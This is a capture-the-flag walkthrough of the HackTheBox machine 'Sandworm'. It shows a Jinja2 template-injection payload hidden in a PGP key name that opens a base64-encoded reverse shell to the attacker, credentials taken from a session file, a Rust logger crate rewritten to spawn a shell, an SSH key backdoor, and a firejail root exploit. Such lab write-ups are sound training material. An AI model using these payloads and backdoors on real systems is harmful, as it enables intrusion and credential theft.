HACKTHEBOX - SANDWORM
Link : https://app.hackthebox.com/machines/sandworm
Web Enumeration
The machine redirects to "ssa.htb". Update your hosts file before continuing.
We land on a "secret services" page?
We notice in the footer that flask is used. This will be useful later:
In the contact page, we are offered a contact form:
It uses PGP for message signing. This secret organization kindly provides us with a PGP guide and some tests we can try:
PGP/GPG explanation
At this point, I know the first exploitation is in this page, and I have an idea...
PGP is an asymmetric cryptographic system, which means each user has 2 keys (a public key and a private key)
-
Each user generates a keypair: a public key (for encryption) and a private key (for decryption).
-
To encrypt a message to a user, we use the recipient's public key.
-
The recipient uses their private key to decrypt the message encrypted with their public key.
-
To ensure authenticity, the sender can digitally sign the message with their private key, and the recipient can verify the signature using the sender's public key.
-
PGP uses a web of trust model where users can validate others' public keys by signing them.
In summary, PGP uses public keys to encrypt messages and private keys to decrypt and digitally sign messages. This ensures confidentiality and authenticity.
We can download the PGP key for ssa
: https://ssa.htb/pgp
PGP Key
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=P8U3
-----END PGP PUBLIC KEY BLOCK-----
On the page, we can send an encrypted message using SSA's public PGP key. We'll use GPG (GnuPG) for this.
Don't confuse the two!
- PGP is an asymmetric encryption standard
- GPG is a software implementation of the PGP standard
Here's how to import SSA's PGP key:
gpg --import ssa.pgp
gpg: key C61D429110B625D4: public key "SSA (Official PGP Key of the Secret Spy Agency.) <[email protected]>" imported
gpg: Total number processed: 1
gpg: imported: 1
The key is imported, we can encrypt a message:
gpg --encrypt --armor --recipient "[email protected]" --output message_chiffre.gpg message.txt
The resulting message ciphered_message.gpg
should start with
-----BEGIN PGP MESSAGE-----
and end with -----END PGP MESSAGE-----
We can now send this message to SSA and get the decrypted message:
Exploitation with SSTI
Now let's try an SSTI (Server Side Template Injection) payload:
{{7*7}}
However, the message is not "interpreted" by Flask:
We'll try the same thing, but with message signing:
First we generate a keypair for ourselves and include our SSTI in the username and email (to be sure):
gpg --gen-key
GnuPG needs to construct a user ID to identify your key.
Real name: {{7*7}}
Email address: {{4*4}}
Not a valid email address
Email address: {{4*4}}@ssa.htb
You selected this USER-ID:
"{{7*7}} <{{4*4}}@ssa.htb>"
Then we verify the signature
Signature is valid! [GNUPG:] NEWSIG [email protected] gpg: Signature made Wed 26 Jul 2023 01:18:26 AM UTC gpg: using RSA key FA8FFAE292226E82DE943CF05F3D947489EFDDAC gpg: issuer "[email protected]" [GNUPG:] KEY_CONSIDERED FA8FFAE292226E82DE943CF05F3D947489EFDDAC 0 [GNUPG:] SIG_ID 7/tsIh82ipUK6Up+siYJilsWrrA 2023-07-26 1690334306 [GNUPG:] KEY_CONSIDERED FA8FFAE292226E82DE943CF05F3D947489EFDDAC 0 [GNUPG:] GOODSIG 5F3D947489EFDDAC 49 <[email protected]> gpg: Good signature from "49 <[email protected]>" [unknown] [GNUPG:] VALIDSIG FA8FFAE292226E82DE943CF05F3D947489EFDDAC 2023-07-26 1690334306 0 4 0 1 10 00 FA8FFAE292226E82DE943CF05F3D947489EFDDAC [GNUPG:] TRUST_UNDEFINED 0 pgp [email protected] gpg: WARNING: The key's User ID is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: FA8F FAE2 9222 6E82 DE94 3CF0 5F3D 9474 89EF DDAC
Our SSTI is executed!
The "Payload All The Things" repo has SSTI payloads (link: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---remote-code-execution).
Jinja2 is a templating engine for Python used by Flask. This is what is vulnerable.
We'll create a keypair with this username:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzgwMDAgMD4mMQ==" | base64 -d | bash').read() }}
Generate the key
gpg --gen-key
Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzgwMDAgMD4mMQ==" | base64 -d | bash').read() }}
Email address: [email protected]
You selected this USER-ID:
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzgwMDAgMD4mMQ==" | base64 -d | bash').read() }} <[email protected]>"
Export the public key :
gpg --armor --export '[email protected]' > pubkey.asc
Export signed message :
gpg --sign --armor --local-user '[email protected]' --output signed_msg.asc message.txt
Finally, we verify on the website and get a shell!
listening on [any] 8000 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.218] 59874
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$
We are connected as atlas
! Our shell isn't very functional though:
atlas@sandworm:~$ whoami
whoami
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
atlas@sandworm:~$ python
python
Could not find command-not-found database. Run 'sudo apt update' to populate it.
python: command not found
In atlas' files, we can find a .config folder.
In this folder (~/.config/httpie/sessions/localhost_5000) there is a session file:
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
We find creds, we can log in via ssh as silentobserver:quietLiketheWind22
and get the user flag.
PrivSC
We can look at the flask app source code:
from flask import Flask
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
def create_app():
app = Flask(__name__)
app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:[email protected]:3306/SSA'
db.init_app(app)
# blueprint for non-auth parts of app
from .app import main as main_blueprint
app.register_blueprint(main_blueprint)
login_manager = LoginManager()
login_manager.login_view = "main.login"
login_manager.init_app(app)
from .models import User
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
return app
We try to log in but not much info, knowing a PBKDF2 hash is hard to crack
mysql> SHOW TABLES
-> ;
+---------------+
| Tables_in_SSA |
+---------------+
| users |
+---------------+
1 row in set (0.01 sec)
mysql> SELECT * FROM users
-> ;
+----+----------------+--------------------------------------------------------------------------------------------------------+
| id | username | password |
+----+----------------+--------------------------------------------------------------------------------------------------------+
| 1 | Odin | pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f |
| 2 | silentobserver | pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d |
+----+----------------+--------------------------------------------------------------------------------------------------------+
Reverse shell with Cargo
With pspy
I find these processes executing every few minutes:
2023/07/26 09:24:01 CMD: UID=0 PID=29547 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29548 | /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29549 | /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29551 | /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29553 | /usr/bin/cargo run --offline
2023/07/26 09:24:11 CMD: UID=0 PID=29557 | /bin/bash /root/Cleanup/clean_c.sh
2023/07/26 09:24:11 CMD: UID=0 PID=29558 | /bin/rm -r /opt/crates
2023/07/26 09:24:11 CMD: UID=0 PID=29559 |
2023/07/26 09:24:11 CMD: UID=0 PID=29560 | /bin/cp -rp /root/Cleanup/crates /opt/
Linpeas.sh draws my attention to a folder: /opt/crates/logger
which I can write to as silentobserver
:
This is a "cargo" project with the following source code:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Knowing I can modify this code, and it will run as UID 1000 (atlas user), I can modify the source to get a reverse shell as atlas:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
pub fn log(user: &str, query: &str, justification: &str) {
let sock = TcpStream::connect("localhost:4444").unwrap();
// a tcp socket as a raw file descriptor
// a file descriptor is the number that uniquely identifies an open file in a computer's operating system
// When a program asks to open a file/other resource (network socket, etc.) the kernel:
// 1. Grants access
// 2. Creates an entry in the global file table
// 3. Provides the software with the location of that entry (file descriptor)
// https://www.computerhope.com/jargon/f/file-descriptor.htm
let fd = sock.as_raw_fd();
// so basically, writing to a tcp socket is just like writing something to a file!
// the main difference being that there is a client over the network reading the file at the same time!
Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
Then I build the cargo project :
cargo build
Compiling autocfg v1.1.0
Compiling libc v0.2.142
Compiling num-traits v0.2.15
Compiling num-integer v0.1.45
Compiling time v0.1.45
Compiling iana-time-zone v0.1.56
Compiling chrono v0.4.24
Compiling logger v0.1.0 (/opt/crates/logger)
warning: unused import: `std::fs::OpenOptions`
--> src/lib.rs:3:5
|
3 | use std::fs::OpenOptions;
| ^^^^^^^^^^^^^^^^^^^^
|
= note: `#[warn(unused_imports)]` on by default
warning: unused import: `std::io::Write`
--> src/lib.rs:4:5
|
4 | use std::io::Write;
| ^^^^^^^^^^^^^^
warning: unused import: `chrono::prelude::*`
--> src/lib.rs:5:5
|
5 | use chrono::prelude::*;
| ^^^^^^^^^^^^^^^^^^
warning: unused variable: `user`
--> src/lib.rs:11:12
|
11 | pub fn log(user: &str, query: &str, justification: &str) {
| ^^^^ help: if this is intentional, prefix it with an underscore: `_user`
|
= note: `#[warn(unused_variables)]` on by default
warning: unused variable: `query`
--> src/lib.rs:11:24
|
11 | pub fn log(user: &str, query: &str, justification: &str) {
| ^^^^^ help: if this is intentional, prefix it with an underscore: `_query`
warning: unused variable: `justification`
--> src/lib.rs:11:37
|
11 | pub fn log(user: &str, query: &str, justification: &str) {
| ^^^^^^^^^^^^^ help: if this is intentional, prefix it with an underscore: `_justification`
warning: `logger` (lib) generated 6 warnings
Finished dev [unoptimized + debuginfo] target(s) in 8.41s
The warnings confirm the code will execute. In another shell (also logged in as silentobserver) I start a netcat listener:
nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 51342
bash: cannot set terminal process group (31809): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$
Great! Now I just need to upload an SSH key to get a persistent backdoor:
To generate the key:
ssh-keygen
You should have a id_rsa.pub
key. This needs to be uploaded to a specific atlas file (in ~/.ssh):
atlas@sandworm:~/.ssh$ echo "<clé pub> victorhin0@LAPTOP" > authorized_keys
Then we can connect as atlas with this key:
ssh -i id_rsa [email protected]
PrivSC with Firejail
This atlas user can run "firejail" as root.
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
We'll use this for privilege escalation.
I found this exploit that works with version 0.9.68, which gives a root shell (https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25).
First, as atlas we check the firejail version:
firejail --version
firejail version 0.9.68
Then we can run the exploit:
Shell 1 :
atlas@sandworm:~$ ./exploit.py
You can now run 'firejail --join=53732' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
Shell 2 :
atlas@sandworm:~$ firejail --join=53732
changing root to /proc/53732/root
Warning: cleaning all supplementary groups
Child process initialized in 7.40 ms
atlas@sandworm:~$ su -
root@sandworm:~#
And we are root!